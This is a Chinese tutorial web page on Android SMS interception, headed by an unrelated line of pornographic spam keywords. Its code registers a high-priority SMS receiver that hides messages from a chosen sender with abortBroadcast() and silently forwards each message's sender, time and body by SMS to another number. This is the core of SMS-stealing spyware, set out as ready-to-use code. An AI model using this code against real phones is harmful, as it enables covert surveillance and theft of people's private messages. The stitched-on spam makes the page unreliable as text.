欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

android短信攔截的實(shí)現(xiàn)代碼

 更新時(shí)間:2013年09月18日 14:36:01   作者:  
這篇文章介紹了android短信攔截的實(shí)現(xiàn)代碼,有需要的朋友可以參考一下

短信攔截的實(shí)現(xiàn)主要是使用了廣播接收者來實(shí)現(xiàn)。

BroadcastReceiver  廣播接收者   必須指定要接收的廣播類型。必須明確的指定action

 
廣播:事件。
普通廣播: 是異步的。會(huì)廣播接收者同時(shí)接收,不能被中斷
sendBroadcast()
有序廣播: 是同步的。會(huì)根據(jù)廣播接收的優(yōu)先級(jí)進(jìn)行接收,是可以中斷   短信到來廣播
sendOrderBroadcast()
priority的范圍是:-1000 ~ 1000
如果有序廣播明確的指定了廣播接收者,他是無法被中斷的。

代碼實(shí)現(xiàn)如下:

1、MainActivity

復(fù)制代碼 代碼如下:

package com.njupt.t4; 

import android.os.Bundle; 
import android.app.Activity; 
import android.content.IntentFilter; 
import android.view.Menu; 

public class MainActivity extends Activity { 

    private SmsReceiver receiver = new SmsReceiver(); 
    @Override 
    protected void onCreate(Bundle savedInstanceState) { 
        super.onCreate(savedInstanceState); 
        setContentView(R.layout.activity_main); 

        IntentFilter filter = new IntentFilter(); 
        filter.setPriority(997); 
        filter.addAction("android.provider.Telephony.SMS_RECEIVED"); 
        registerReceiver(receiver,filter); 
    } 

    @Override 
    public boolean onCreateOptionsMenu(Menu menu) { 
        // Inflate the menu; this adds items to the action bar if it is present. 
        getMenuInflater().inflate(R.menu.main, menu); 
        return true; 
    } 

    @Override 
    protected void onDestroy() { 
        super.onDestroy(); 

        unregisterReceiver(receiver); 
    } 



2、SmsReceiver
復(fù)制代碼 代碼如下:

package com.njupt.t4; 

import java.text.SimpleDateFormat; 
import android.content.BroadcastReceiver; 
import android.content.Context; 
import android.content.Intent; 
import android.os.Bundle; 
import android.telephony.SmsManager; 
import android.telephony.SmsMessage; 

public class SmsReceiver extends BroadcastReceiver { 

    @Override 
    public void onReceive(Context context, Intent intent) { 

        System.out.println("章澤天是我老婆,老婆我成功了...."); 
        Bundle bundle = intent.getExtras(); 
        Object[] objects = (Object[]) bundle.get("pdus"); 
        for(Object obj : objects){ 
            SmsMessage smsMessage = SmsMessage.createFromPdu((byte[])obj); 
            String body = smsMessage.getDisplayMessageBody(); 
            String address = smsMessage.getDisplayOriginatingAddress(); 
            long date = smsMessage.getTimestampMillis(); 

            SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); 
            String dateStr = format.format(date); 

            System.out.println(address +" 于  " + dateStr + "給你發(fā)了以下內(nèi)容: " + body); 

            if(address.equals("5558")){ 
                abortBroadcast(); 
                SmsManager smsManager = SmsManager.getDefault(); 
                smsManager.sendTextMessage("5556",null,address +" 于  " + dateStr + "給你發(fā)了以下內(nèi)容: " + body,null,null); 

            } 
        } 
    } 




 

3、AndroidManifest.xml

需要在清單文件中注冊(cè)上一下權(quán)限。(如果不注冊(cè)是不會(huì)成功地?cái)r截到短信的,在logcat中會(huì)以Warn的

級(jí)別告訴你你沒有相應(yīng)的權(quán)限...)
復(fù)制代碼 代碼如下:

<uses-permission android:name="android.permission.RECEIVE_SMS"/> 
   <uses-permission android:name="android.permission.SEND_SMS"/> 
   <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/> 


-----------------------------------------------------其實(shí)上面就是使用了代碼的方式來注冊(cè)BroadcastReceiver-------------

其實(shí)還可以在AndroidManifest.xml注冊(cè)receiver這個(gè)組件(但是我采用這個(gè)方式總是會(huì)出現(xiàn)內(nèi)存泄露的錯(cuò)誤,所以下面的代碼僅供參考)
復(fù)制代碼 代碼如下:

<receiver android:name=".SmsReceiver"> 
            <intent-filter android:priority="1000"> 
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/> 
            </intent-filter> 
        </receiver> 

相關(guān)文章

最新評(píng)論